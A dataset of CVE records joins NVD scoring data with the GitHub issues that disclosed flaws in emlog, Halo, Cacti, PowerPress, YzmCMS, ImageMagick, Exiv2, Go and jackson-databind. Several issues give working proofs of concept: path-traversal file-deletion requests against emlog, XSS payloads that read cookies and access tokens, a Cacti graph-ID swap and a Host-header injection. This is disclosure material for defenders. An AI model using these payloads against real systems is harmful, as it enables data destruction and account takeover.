```
### System Configuration
<!-- Tell us about the environment where you are experiencing the bug -->
- ImageMagick version:
7.0.8-43
- Environment (Operating system, version and so on):
Linux ubuntu 4.15.0-47-generic #50~16.04.1-Ubuntu SMP Fri Mar 15 16:06:21 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
- Additional information:
./configure CC="gcc" CXX="g++" CFLAGS="-g -fsanitize=address" -disable-shared
teatcase:
https://github.com/butterflyhack/pocs/blob/master/memory-leaks-2.zip
credit by ADlab of Venustech
<!-- Thanks for reporting the issue to ImageMagick! -->
| memory leaks in WritePS3Image | https://api.github.com/repos/ImageMagick/ImageMagick/issues/1557/comments | 2 | 2019-04-28T04:35:49Z | 2020-10-30T02:44:04Z | https://github.com/ImageMagick/ImageMagick/issues/1557 | 438,012,692 | 1,557 |
CVE-2019-16713 | 2019-09-23T12:15:10.783 | ImageMagick 7.0.8-43 has a memory leak in coders/dot.c, as demonstrated by PingImage in MagickCore/constitute.c. | {
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] | https://github.com/ImageMagick/ImageMagick/issues/1558 | [
"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"ImageMagick",
"ImageMagick"
] | ### Prerequisites
- [x] I have written a descriptive issue title
- [x] I have verified that I am using the latest version of ImageMagick
- [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported
### Description
<!-- A description of the bug or feature -->
```
==104405==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 13504 byte(s) in 1 object(s) allocated from:
#0 0x7ff36e5f7602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x43f2a5 in AcquireMagickMemory MagickCore/memory.c:478
#2 0x412eef in AcquireCriticalMemory MagickCore/memory-private.h:64
#3 0x413262 in AcquireImage MagickCore/image.c:172
#4 0x580742 in ReadDOTImage coders/dot.c:129
#5 0x806aa6 in ReadImage MagickCore/constitute.c:547
#6 0x4b69f6 in ReadStream MagickCore/stream.c:1043
#7 0x805b31 in PingImage MagickCore/constitute.c:269
#8 0x8060fd in PingImages MagickCore/constitute.c:370
#9 0xc1b2a7 in IdentifyImageCommand MagickWand/identify.c:319
#10 0xc9fbca in MagickCommandGenesis MagickWand/mogrify.c:185
#11 0x40e9e1 in MagickMain utilities/magick.c:149
#12 0x40ebc2 in main utilities/magick.c:180
#13 0x7ff36a8e782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
```
### Steps to Reproduce
<!-- List of steps, sample code, failing test or link to a project that reproduces the behavior.
Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues -->
run cmd:
```
/usr/local/bin/magick identify $inupt
```
### System Configuration
<!-- Tell us about the environment where you are experiencing the bug -->
- ImageMagick version:
7.0.8-43
- Environment (Operating system, version and so on):
Linux ubuntu 4.15.0-47-generic #50~16.04.1-Ubuntu SMP Fri Mar 15 16:06:21 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
- Additional information:
./configure CC="gcc" CXX="g++" CFLAGS="-g -fsanitize=address" -disable-shared
testcase:
https://github.com/butterflyhack/pocs/blob/master/memory-leaks-identify-PingImage.zip
report by ADlab of Venustech
<!-- Thanks for reporting the issue to ImageMagick! -->
| memory leaks in PingImage | https://api.github.com/repos/ImageMagick/ImageMagick/issues/1558/comments | 2 | 2019-04-28T04:48:48Z | 2019-09-24T07:16:29Z | https://github.com/ImageMagick/ImageMagick/issues/1558 | 438,013,444 | 1,558 |
CVE-2019-16723 | 2019-09-23T15:15:10.903 | In Cacti through 1.2.6, authenticated users may bypass authorization checks (for viewing a graph) via a direct graph_json.php request with a modified local_graph_id parameter. | {
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"availabilityImpact": "NONE",
"baseScore": 4,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:L/Au:S/C:P/I:N/A:N",
"version": "2.0"
},
"exploitabilityScore": 8,
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"obtainAllPrivilege": false,
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"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": false
}
],
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"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 1.4,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": null,
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-03/msg00001.html"
},
{
"source": "[email protected]",
"tags": null,
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-03/msg00005.html"
},
{
"source": "[email protected]",
"tags": null,
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00042.html"
},
{
"source": "[email protected]",
"tags": null,
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00048.html"
},
{
"source": "[email protected]",
"tags": [
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/Cacti/cacti/issues/2964"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ZO3ROHHPKLH2JRW7ES5FYSQTWIPNVLQB/"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ZSCUUCKSYVZLN3PQE7NU76AFWUGT3E2D/"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://seclists.org/bugtraq/2020/Jan/25"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://security.gentoo.org/glsa/202003-40"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://www.debian.org/security/2020/dsa-4604"
}
] | [
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] | https://github.com/Cacti/cacti/issues/2964 | [
"Patch",
"Third Party Advisory"
] | github.com | [
"Cacti",
"cacti"
] | I have created a user with no group membership. Graph permission default is DENY and I have selected all graphs Restricted instead of 1. I have device params default DENY and only set to specific one. Template perm is set to DENY. Tree Perms is also default DENY and I set to access only a specific one. When I login with that user I see only one option in tree and when I click on the device I see the graph. Everything is fine. But if I take the url
domain.com/graph_json.php?rra_id=0&local_graph_id=3205&graph_start=1569069730&graph_end=1569156130&graph_height=120&graph_width=500
and change the local_graph_id with another value ie 5312 I get a response and inside that response I see the image which is base64. If I decode and create png I can see the other graph that I dont have permission to see.
I tried to update to latest cacti 1.2.6 and it still get that security issue. I also checked the source code carefully and I don't see any permission check regarding graphs. For example I see permission check for tree node creation but not for graphs. | Security issue allows to view all graphs | https://api.github.com/repos/Cacti/cacti/issues/2964/comments | 21 | 2019-09-22T16:37:05Z | 2020-06-30T12:55:29Z | https://github.com/Cacti/cacti/issues/2964 | 496,802,384 | 2,964 |
CVE-2019-16868 | 2019-09-25T13:15:11.220 | emlog through 6.0.0beta has an arbitrary file deletion vulnerability via an admin/data.php?action=dell_all_bak request with directory traversal sequences in the bak[] parameter. | {
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"baseSeverity": "HIGH",
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"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 6.4,
"obtainAllPrivilege": false,
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"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": false
}
],
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"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/emlog/emlog/issues/48"
}
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] | https://github.com/emlog/emlog/issues/48 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"emlog",
"emlog"
] | vulnerability in admin/data.php line 139:
```
if ($action == 'dell_all_bak') {
if (!isset($_POST['bak'])) {
emDirect('./data.php?error_a=1');
} else{
foreach ($_POST['bak'] as $val) {
unlink($val);
}
emDirect('./data.php?active_del=1');
}
}
```
post any filepath as "bak" , will delete it.
Login management background and view /admin/data.php?action=dell_all_bak
POST bak=anyfile,like ../index.php something.
POC:
```POST /emlog/admin/data.php?action=dell_all_bak HTTP/1.1
Host: 127.0.0.1
Content-Length: 28
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://127.0.0.1/emlog/admin/data.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: page_iframe_url=http://127.0.0.1/metinfo/index.php?lang=cn&pageset=1; pgv_pvi=3037471744; PHPSESSID=u91v66ktst9vrva3ueb6333kt2; EM_AUTHCOOKIE_WtaQDRqaTBRof8EENT0LY3HNhJzryEPL=admin%7C%7Ce4739a735508976ba1d54ac95a78be3b; EM_TOKENCOOKIE_55cd567609038eefc9aaa8c1c0e141e1=d0025af7e912a4cc8b114e2f6cda6597
Connection: close
bak%5B%5D=../include/index.php
``` | emlog has any file deletion vulnerability | https://api.github.com/repos/emlog/emlog/issues/48/comments | 2 | 2019-09-25T05:43:34Z | 2022-01-10T04:11:39Z | https://github.com/emlog/emlog/issues/48 | 498,060,740 | 48 |
CVE-2019-16890 | 2019-09-25T21:15:12.407 | Halo 1.1.0 has XSS via a crafted authorUrl in JSON data to api/content/posts/comments. | {
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"baseSeverity": "LOW",
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"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"availabilityImpact": "NONE",
"baseScore": 3.5,
"confidentialityImpact": "NONE",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N",
"version": "2.0"
},
"exploitabilityScore": 6.8,
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"obtainAllPrivilege": false,
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"source": "[email protected]",
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}
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"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "[email protected]",
"type": "Primary"
}
]
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] | https://github.com/halo-dev/halo/issues/311 | [
"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"halo-dev",
"halo"
] | Enter at the Write Comments
Screenshots :
After the request is successful.
View in the background. For the comment list, click jack01.
<img width="1197" alt="2" src="https://user-images.githubusercontent.com/55778895/65579945-55005e80-dfab-11e9-9869-b92fcdea2038.png">
XSS vulnerability will be launched.
<img width="1100" alt="3" src="https://user-images.githubusercontent.com/55778895/65580147-b294ab00-dfab-11e9-9d93-de18422b2cf8.png">
Hackers can steal localStorage ,Authentication of privileges is halo__Access-Token
Payload
POST /api/content/posts/comments HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 147
Connection: close
{"author":"jack02","authorUrl":"javascript:alert(localStorage.getItem('halo__Access-Token'));//://","email":"[email protected]","content":"hello","postId":1}
<img width="765" alt="4" src="https://user-images.githubusercontent.com/55778895/65581183-a1e53480-dfad-11e9-89fa-4c95a3dfc888.png">
<img width="1164" alt="5" src="https://user-images.githubusercontent.com/55778895/65581213-ac073300-dfad-11e9-8922-974147158e57.png">
<img width="1159" alt="6" src="https://user-images.githubusercontent.com/55778895/65581248-b9242200-dfad-11e9-9136-5be432862d92.png">
The reason for the vulnerability is an error in authorURL parameter filtering
`BaseCommentServiceImpl`:
```java
if (StringUtils.isNotEmpty(comment.getAuthorUrl())) {
comment.setAuthorUrl(URLUtil.normalize(comment.getAuthorUrl()));
}
public static String normalize(String url, boolean isEncodeBody) {
if (StrUtil.isBlank(url)) {
return url;
}
final int sepIndex = url.indexOf("://");
String pre;
String body;
if (sepIndex > 0) {
pre = StrUtil.subPre(url, sepIndex + 3);
body = StrUtil.subSuf(url, sepIndex + 3);
} else {
pre = "http://";
body = url;
}
final int paramsSepIndex = StrUtil.indexOf(body, '?');
String params = null;
if (paramsSepIndex > 0) {
params = StrUtil.subSuf(body, paramsSepIndex);
body = StrUtil.subPre(body, paramsSepIndex);
}
body = body.replaceAll("^[\\/]+", StrUtil.EMPTY);
body = body.replace("\\", "/").replaceAll("//+", "/");
if (isEncodeBody) {
body = encode(body);
}
return pre + body + StrUtil.nullToEmpty(params);
}
```
Ask the author to fix this vulnerability.Thanks
| Storage XSS vulnerabilities in article reviews | https://api.github.com/repos/halo-dev/halo/issues/311/comments | 3 | 2019-09-25T08:14:17Z | 2019-09-26T14:20:40Z | https://github.com/halo-dev/halo/issues/311 | 498,123,126 | 311 |
CVE-2015-9410 | 2019-09-26T00:15:10.273 | The Blubrry PowerPress Podcasting plugin 6.0.4 for WordPress has XSS via the tab parameter. | {
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"baseScore": 3.5,
"confidentialityImpact": "NONE",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N",
"version": "2.0"
},
"exploitabilityScore": 6.8,
"impactScore": 2.9,
"obtainAllPrivilege": false,
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"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
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"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://cybersecurityworks.com/zerodays/cve-2015-9410-blubrry.html"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/cybersecurityworks/Disclosed/issues/7"
},
{
"source": "[email protected]",
"tags": [
"Product",
"Third Party Advisory"
],
"url": "https://wordpress.org/plugins/powerpress/#developers"
}
] | [
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] | https://github.com/cybersecurityworks/Disclosed/issues/7 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"cybersecurityworks",
"Disclosed"
] | # Details
Word Press Product Bugs Report
Bug Name Cross Site Scripting (XSS)
Software: Blubrry PowerPress Podcasting plugin
Version: 6.0.4
Last Updated: 27-08-2015
Homepage: https://wordpress.org/plugins/powerpress/developers/
Compatible Up to Wordpress 4.3.0 Version (Requires: 3.6 or higher)
Severity High
Description: Cross Site Scripting (XSS) vulnerability in WordPress plugin NextGen Gallery
# Proof of concept: (POC)
Visit the following page on a site with this plugin installed. http://yourwordpresssite.com/wordpress/wp-admin/admin.php?page=powerpress/powerpressadmin_basic.php and modify the value of tab variable with `"></script><script>alert(document.cookie);</script>` payload and send the request to the server.
Now, the added XSS payload will be echoed back from the server without validating the input. It also affects wp-config.php file, $table_prefix and corrupts the database connectivity.
<strong>Note:</strong> XSS payload has been tried with the application once after implementing Unfiltered Html Settings as defined to wp-config.php file.
<em><strong><center>define( 'DISALLOW_UNFILTERED_HTML', true );</center></strong></em>
<strong>Issue 1:</strong>
The Post Request <strong>tab</strong> variable in the URL http://localhost/wordpress/wp-admin/admin.php?page=powerpress/powerpressadmin_basic.php is vulnerable to Cross Site Scripting (XSS)
<strong>Figure 1:</strong> Invalid HTTP script Request sent to the server through the vulnerable <strong>tab</strong> variable in the URL http://yourwordpresssite.com/wordpress/wp-admin/admin.php?page=powerpress/powerpressadmin_basic.php and its echoed back in the HTTP Response without validation.
---
<strong>Reproducing Steps</strong>
1) Logon into any wordpress application (localhost or public host)
2) Modifying the value of tab variable in Blubrry PowerPress Version 6.0.4
3) Fill all the variables with `"></script><script>alert(document.cookie);</script>` payload and send the request to the server.
4) Now, the added XSS payload will be echoed back from the server without validating the input even after wp-config.php file has been configured with XSS filter settings.
---
<strong>Timeline</strong>
2015-09-04 – Discovered in Blubrry PowerPress Podcasting plugin 6.0.4 version.
2015-09-04 – Reported to [email protected]
2015-09-07 – Vendor Responded, "Thank you for reporting this plugin. We're looking into it right now."
2015-09-09 – Fixed in Blubrry PowerPress Podcasting plugin 6.0.5 version.
---
<strong>Discovered by:</strong>
Sathish from <a href="http://www.cybersecurityworks.com">Cyber Security Works Pvt Ltd</a>
| XSS Vulnerability in Blubrry PowerPress Podcasting plugin Version 6.0.4 | https://api.github.com/repos/cybersecurityworks/Disclosed/issues/7/comments | 0 | 2015-09-14T11:48:53Z | 2015-09-14T12:33:09Z | https://github.com/cybersecurityworks/Disclosed/issues/7 | 106,324,861 | 7 |
CVE-2019-16532 | 2019-09-26T16:15:11.533 | An HTTP Host header injection vulnerability exists in YzmCMS V5.3. A malicious user can poison a web cache or trigger redirections. | {
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"Exploit",
"Third Party Advisory"
] | github.com | [
"yzmcms",
"yzmcms"
] | Host header injection vulnerability found on YzmCMS V5.3, Using this attack, a malicious user can poison the web cache or arbitrary user re-direction.
PoC:
Test Environment: Windows 7 SP1(64bit)
XAMPP: 7.3.9
YzmCMS V5.3 Access Path: 192.168.30.169/yzmcms/
root@kali:~# curl http://192.168.30.169/yzmcms/member/ -H "Host: www.google.com"
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width, maximum-scale=1.0, initial-scale=1.0, user-scalable=no">
<meta http-equiv="refresh" content="1;URL=http://www.google.com/yzmcms/member/index/login.html" />
<title>YzmCMS提示信息</title>
<link rel="Shortcut Icon" href="http://www.google.com/yzmcms/common/static/admin/yzm_admin/images/favicon.ico" />
<style type="text/css">
*{padding:0;margin:0;}
body{background:#fff;color:#000;font-family:"Microsoft Yahei","Hiragino Sans GB","Helvetica Neue",Helvetica,tahoma,arial,"WenQuanYi Micro Hei",Verdana,sans-serif;}
#msg{border:1px solid #5eb95e;width:500px;position:absolute;top:44%;left:50%;margin:-87px 0 0 -250px;padding:1px;line-height:30px;text-align:center;font-size:16px;background:#fff;}
#msgtit{height:35px;line-height:35px;color:#fff;background:#5eb95e;}
#msgbody{margin:20px 0;text-align:center}
#info{margin-bottom:10px;}
#msgbody p{font-size:14px;}
#msgbody p a{font-size:14px;color:#333;text-decoration:none;}
#msgbody p a:hover{color:#5a98de;}
</style>
</head>
<body>
<div id="msg">
<div id="msgtit">提示信息</div>
<div id="msgbody">
<div id="info">请先登录！</div>
<p>本页面将在<span style="color:red; font-weight:bold;margin:0 5px;">1</span>秒后跳转...</p>
</div>
</div>
</body>
</html>root@kali:~#
Or if we capture this in burp:
GET /yzmcms/member/ HTTP/1.1
Host: 192.168.30.169
Next change the "Host" to www.google.com and "Go" for web request:
Then follow redirection
This will be re-directed to www.google.com with 404 responds.
Capture the responds and open the browser will show following:
This is detected & email to you on 18-Sep-2019, but no responds. So provide information in here. Thank you.
| About YzmCMS V5.3- 'Host' Header Injection | https://api.github.com/repos/yzmcms/yzmcms/issues/28/comments | 0 | 2019-09-22T05:40:02Z | 2019-09-22T05:59:09Z | https://github.com/yzmcms/yzmcms/issues/28 | 496,736,469 | 28 |
CVE-2019-16276 | 2019-09-30T19:15:08.790 | Go before 1.12.10 and 1.13.x before 1.13.1 allow HTTP Request Smuggling. | {
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] | https://github.com/golang/go/issues/34540 | [
"Patch",
"Third Party Advisory"
] | github.com | [
"golang",
"go"
] | net/http (through net/textproto) used to accept and normalize invalid HTTP/1.1 headers with a space before the colon, in violation of RFC 7230. If a Go server is used behind a reverse proxy that accepts and forwards but doesn't normalize such invalid headers, the reverse proxy and the server can interpret the headers differently. This can lead to filter bypasses or request smuggling, the latter if requests from separate clients are multiplexed onto the same connection by the proxy. Such invalid headers are now rejected by Go servers, and passed without normalization to Go client applications.
This issue is CVE-2019-16276 and is fixed in Go 1.13.1 and Go 1.12.10. | net/http: invalid headers are normalized, allowing request smuggling | https://api.github.com/repos/golang/go/issues/34540/comments | 9 | 2019-09-25T21:40:44Z | 2022-06-23T07:34:53Z | https://github.com/golang/go/issues/34540 | 498,537,818 | 34,540 |
CVE-2019-16942 | 2019-10-01T17:15:10.323 | A Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.0.0 through 2.9.10. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint and the service has the commons-dbcp (1.4) jar in the classpath, and an attacker can find an RMI service endpoint to access, it is possible to make the service execute a malicious payload. This issue exists because of org.apache.commons.dbcp.datasources.SharedPoolDataSource and org.apache.commons.dbcp.datasources.PerUserPoolDataSource mishandling. | {
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] | https://github.com/FasterXML/jackson-databind/issues/2478 | [
"Patch",
"Third Party Advisory"
] | github.com | [
"FasterXML",
"jackson-databind"
] | Another 2 gadget (*) types reported regarding classes of `commons-dbcp` and `p6spy` packages.
See https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062 for description of the general problem.
Mitre id: CVE-2019-16942 (commons-dbcp)
Mitre id: CVE-2019-16943 (p6spy)
Reporter: b5mali4
Fixed in:
* 2.9.10.1 (use `jackson-bom` version `2.9.10.20191020`)
* 2.6.7.3
* 2.8.11.5
* does not affect 2.10.0 and later
| Block two more gadget types (commons-dbcp, p6spy, CVE-2019-16942 / CVE-2019-16943) | https://api.github.com/repos/FasterXML/jackson-databind/issues/2478/comments | 14 | 2019-09-27T15:44:21Z | 2020-02-10T22:13:39Z | https://github.com/FasterXML/jackson-databind/issues/2478 | 499,518,554 | 2,478 |
CVE-2019-17073 | 2019-10-01T20:15:11.213 | emlog through 6.0.0beta allows remote authenticated users to delete arbitrary files via admin/template.php?action=del&tpl=../ directory traversal. | {
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},
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"source": "[email protected]",
"type": "Primary",
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}
],
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},
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"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/emlog/emlog/issues/49"
}
] | [
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"emlog",
"emlog"
] | vulnerability in admin/template.php line 67:
`if ($action == 'del')
{
LoginAuth::checkToken();
$tplName = isset($_GET['tpl']) ? addslashes($_GET['tpl']) : '';
$nonce_templet = Option::get('nonce_templet');
if ($tplName === $nonce_templet)
{
emMsg('您不能删除正在使用的模板');
}
if (true === emDeleteFile(TPLS_PATH . $tplName)) {
emDirect("./template.php?activate_del=1#tpllib");
} else {
emDirect("./template.php?error_a=1#tpllib");
}
}`
> if (true === emDeleteFile(TPLS_PATH . $tplName))
tracking emDeleteFile function:
`function emDeleteFile($file) {
if (empty($file))
return false;
if (@is_file($file))
return @unlink($file);
$ret = true;
if ($handle = @opendir($file)) {
while ($filename = @readdir($handle)) {
if ($filename == '.' || $filename == '..')
continue;
if (!emDeleteFile($file . '/' . $filename))
$ret = false;
}
} else {
$ret = false;
}
@closedir($handle);
if (file_exists($file) && !rmdir($file)) {
$ret = false;
}
return $ret;
}`
Unrestricted character “../”
Login management background and view /admin/template.php?action=del&tpl=**../../index.php**&token=U login token!
POC:
`/emlog/admin/template.php?action=del&tpl=../../index.php&token={U login token}`
| emlog discover any file deletion vulnerability again! | https://api.github.com/repos/emlog/emlog/issues/49/comments | 0 | 2019-09-30T01:32:34Z | 2022-01-10T15:16:37Z | https://github.com/emlog/emlog/issues/49 | 500,005,869 | 49 |
CVE-2019-17267 | 2019-10-07T00:15:10.490 | A Polymorphic Typing issue was discovered in FasterXML jackson-databind before 2.9.10. It is related to net.sf.ehcache.hibernate.EhcacheJtaTransactionManagerLookup. | {
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}
]
} | [
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://access.redhat.com/errata/RHSA-2019:3200"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://access.redhat.com/errata/RHSA-2020:0159"
},
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"tags": [
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],
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],
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],
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},
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],
"url": "https://access.redhat.com/errata/RHSA-2020:0445"
},
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],
"url": "https://github.com/FasterXML/jackson-databind/compare/jackson-databind-2.9.9.3...jackson-databind-2.9.10"
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},
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"Third Party Advisory"
],
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},
{
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"tags": [
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],
"url": "https://security.netapp.com/advisory/ntap-20191017-0006/"
},
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"tags": [
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],
"url": "https://www.oracle.com/security-alerts/cpujan2020.html"
},
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],
"url": "https://www.oracle.com/security-alerts/cpujul2020.html"
},
{
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"tags": [
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],
"url": "https://www.oracle.com/security-alerts/cpuoct2020.html"
}
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] | https://github.com/FasterXML/jackson-databind/issues/2460 | [
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"FasterXML",
"jackson-databind"
] | Another gadget (*) type report regarding a class of `ehcache` package (follow up for #2387)
Mitre id: CVE-2019-17267
Reporter: lufeirider
Fix included in:
* 2.9.10
* 2.8.11.5
* does not affect 2.10.0 and later
-----
(*) See https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062 for more on general problem type
| Block one more gadget type (ehcache, CVE-2019-17267) | https://api.github.com/repos/FasterXML/jackson-databind/issues/2460/comments | 3 | 2019-09-17T06:34:14Z | 2020-02-10T22:11:26Z | https://github.com/FasterXML/jackson-databind/issues/2460 | 494,429,276 | 2,460 |
CVE-2019-17402 | 2019-10-09T19:15:14.337 | Exiv2 0.27.2 allows attackers to trigger a crash in Exiv2::getULong in types.cpp when called from Exiv2::Internal::CiffDirectory::readDirectory in crwimage_int.cpp, because there is no validation of the relationship of the total size to the offset and size. | {
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"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
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"source": "[email protected]",
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"source": "[email protected]",
"type": "Primary"
}
]
} | [
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"tags": [
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],
"url": "https://github.com/Exiv2/exiv2/issues/1019"
},
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"tags": [
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},
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"tags": [
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],
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},
{
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"tags": [
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],
"url": "https://usn.ubuntu.com/4159-1/"
}
] | [
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"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"Exiv2",
"exiv2"
] | We found vulnerability in exiv2 binary and exiv2 is complied with clang enabling ASAN.
**Machine Setup**
```
Machine : Ubuntu 16.04.3 LTS
gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.11)
Commit : 401e658
exiv2 : 0.27.99.0
Command : exiv2 -pv $POC
```
**ASAN Output**
```
fuzzer@fuzzer:~/victim/exiv2/build/bin$ ./exiv2 -pv POC
=================================================================
==16699==ERROR: AddressSanitizer: unknown-crash on address 0x7f9a857b7143 at pc 0x7f9a84dcc1db bp 0x7ffcb8c7b650 sp 0x7ffcb8c7b648
READ of size 1 at 0x7f9a857b7143 thread T0
#0 0x7f9a84dcc1da in Exiv2::getULong(unsigned char const*, Exiv2::ByteOrder) /home/fuzzer/victim/exiv2/src/types.cpp:289:28
#1 0x7f9a84ebd4c4 in Exiv2::Internal::CiffDirectory::readDirectory(unsigned char const*, unsigned int, Exiv2::ByteOrder) /home/fuzzer/victim/exiv2/src/crwimage_int.cpp:285:22
#2 0x7f9a84ebd84e in Exiv2::Internal::CiffComponent::read(unsigned char const*, unsigned int, unsigned int, Exiv2::ByteOrder) /home/fuzzer/victim/exiv2/src/crwimage_int.cpp:231:9
#3 0x7f9a84ebd84e in Exiv2::Internal::CiffDirectory::readDirectory(unsigned char const*, unsigned int, Exiv2::ByteOrder) /home/fuzzer/victim/exiv2/src/crwimage_int.cpp:305
#4 0x7f9a84c5c29d in Exiv2::CrwParser::decode(Exiv2::CrwImage*, unsigned char const*, unsigned int) /home/fuzzer/victim/exiv2/src/crwimage.cpp:150:9
#5 0x7f9a84c5afa0 in Exiv2::CrwImage::readMetadata() /home/fuzzer/victim/exiv2/src/crwimage.cpp:107:9
#6 0x589421 in Action::Print::printList() /home/fuzzer/victim/exiv2/src/actions.cpp:483:9
#7 0x57c1df in Action::Print::run(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/fuzzer/victim/exiv2/src/actions.cpp:218:26
#8 0x4f4c5f in main /home/fuzzer/victim/exiv2/src/exiv2.cpp:77:23
#9 0x7f9a836be82f in __libc_start_main /build/glibc-LK5gWL/glibc-2.23/csu/../csu/libc-start.c:291
#10 0x41ff38 in _start (/home/fuzzer/victim/exiv2/build/bin/exiv2+0x41ff38)
AddressSanitizer can not describe address in more detail (wild memory access suspected).
SUMMARY: AddressSanitizer: unknown-crash /home/fuzzer/victim/exiv2/src/types.cpp:289:28 in Exiv2::getULong(unsigned char const*, Exiv2::ByteOrder)
Shadow bytes around the buggy address:
0x0ff3d0aeedd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff3d0aeede0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff3d0aeedf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff3d0aeee00: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
0x0ff3d0aeee10: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
=>0x0ff3d0aeee20: fe fe fe fe fe fe fe fe[fe]fe fe fe fe fe fe fe
